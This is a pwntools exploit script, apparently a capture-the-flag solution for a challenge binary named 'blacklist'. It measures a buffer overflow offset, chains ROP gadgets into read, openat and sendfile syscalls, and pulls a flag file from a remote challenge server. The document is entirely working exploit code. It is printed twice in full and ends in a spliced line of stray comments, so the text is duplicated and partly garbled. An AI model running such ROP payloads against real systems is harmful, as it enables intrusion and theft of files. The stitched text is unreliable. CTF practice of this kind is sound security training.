<reponame>nhtri2003gmail/ctf-write-ups<gh_stars>100-1000
#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./blacklist')
context.log_level = 'INFO'
context.log_file = 'log.log'

flagfile = '/home/fbi/aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacma.txt' 
filesize = 100 # guess?

# find offset
p = process(binary.path)
p.sendline(cyclic(1024,n=8))
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
offset = cyclic_find(core.read(core.rsp, 8),n=8)
log.info('offset: ' + str(offset))
log.info('rip: ' + hex(core.rip))

try:
	rop = ROP([binary])
	pop_rax = rop.find_gadget(['pop rax','ret'])[0]
	pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
	pop_rsi = rop.find_gadget(['pop rsi','ret'])[0]
	pop_rdx = rop.find_gadget(['pop rdx','ret'])[0]
	pop_r10 = list(binary.search(asm('pop r10; ret')))[0]
	pop_r9  = list(binary.search(asm('pop r9;  ret')))[0]
	pop_r8  = list(binary.search(asm('pop r8;  ret')))[0]
	sys_ret = list(binary.search(asm('syscall; ret')))[0]
except:
	log.info('no ROP for you!')
	sys.exit(0)

def syscall(rax=None,rdi=None,rsi=None,rdx=None,r10=None,r9=None,r8=None):
	assert(rax != None)
	payload = b''
	if rdi != None: payload += p64(pop_rdi) + p64(rdi)
	if rsi != None: payload += p64(pop_rsi) + p64(rsi)
	if rdx != None: payload += p64(pop_rdx) + p64(rdx)
	if r10 != None: payload += p64(pop_r10) + p64(r10)
	if r9  != None: payload += p64(pop_r9)  + p64(r9)
	if r8  != None: payload += p64(pop_r8)  + p64(r8)
	return payload + p64(pop_rax) + p64(rax) + p64(sys_ret)

#p = process(binary.path)
p = remote('blacklist.fword.wtf', 1236)

fd = 3
payload  = offset * b'A'
payload += syscall(constants.SYS_read.real,constants.STDIN_FILENO.real,binary.bss(),len(flagfile))
payload += syscall(constants.SYS_openat.real,0,binary.bss(),0)
payload += syscall(constants.SYS_sendfile.real,constants.STDOUT_FILENO.real,fd,0,filesize)

p.sendline(payload)
p.send(flagfile)
log.info(p.recv(filesize))


#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./blacklist')
context.log_level = 'INFO'
context.log_file = 'log.log'

flagfile = '/home/fbi/aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacma.txt' 
filesize = 100 # guess?

# find offset
p = process(binary.path)
p.sendline(cyclic(1024,n=8))
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
offset = cyclic_find(core.read(core.rsp, 8),n=8)
log.info('offset: ' + str(offset))
log.info('rip: ' + hex(core.rip))

try:
	rop = ROP([binary])
	pop_rax = rop.find_gadget(['pop rax','ret'])[0]
	pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
	pop_rsi = rop.find_gadget(['pop rsi','ret'])[0]
	pop_rdx = rop.find_gadget(['pop rdx','ret'])[0]
	pop_r10 = list(binary.search(asm('pop r10; ret')))[0]
	pop_r9  = list(binary.search(asm('pop r9;  ret')))[0]
	pop_r8  = list(binary.search(asm('pop r8;  ret')))[0]
	sys_ret = list(binary.search(asm('syscall; ret')))[0]
except:
	log.info('no ROP for you!')
	sys.exit(0)

def syscall(rax=None,rdi=None,rsi=None,rdx=None,r10=None,r9=None,r8=None):
	assert(rax != None)
	payload = b''
	if rdi != None: payload += p64(pop_rdi) + p64(rdi)
	if rsi != None: payload += p64(pop_rsi) + p64(rsi)
	if rdx != None: payload += p64(pop_rdx) + p64(rdx)
	if r10 != None: payload += p64(pop_r10) + p64(r10)
	if r9  != None: payload += p64(pop_r9)  + p64(r9)
	if r8  != None: payload += p64(pop_r8)  + p64(r8)
	return payload + p64(pop_rax) + p64(rax) + p64(sys_ret)

#p = process(binary.path)
p = remote('blacklist.fword.wtf', 1236)

fd = 3
payload  = offset * b'A'
payload += syscall(constants.SYS_read.real,constants.STDIN_FILENO.real,binary.bss(),len(flagfile))
payload += syscall(constants.SYS_openat.real,0,binary.bss(),0)
payload += syscall(constants.SYS_sendfile.real,constants.STDOUT_FILENO.real,fd,0,filesize)

p.sendline(payload)
p.send(flagfile)
log.info(p.recv(filesize))
#!/usr/bin/env python3 # guess? # find offset #p = process(binary.path)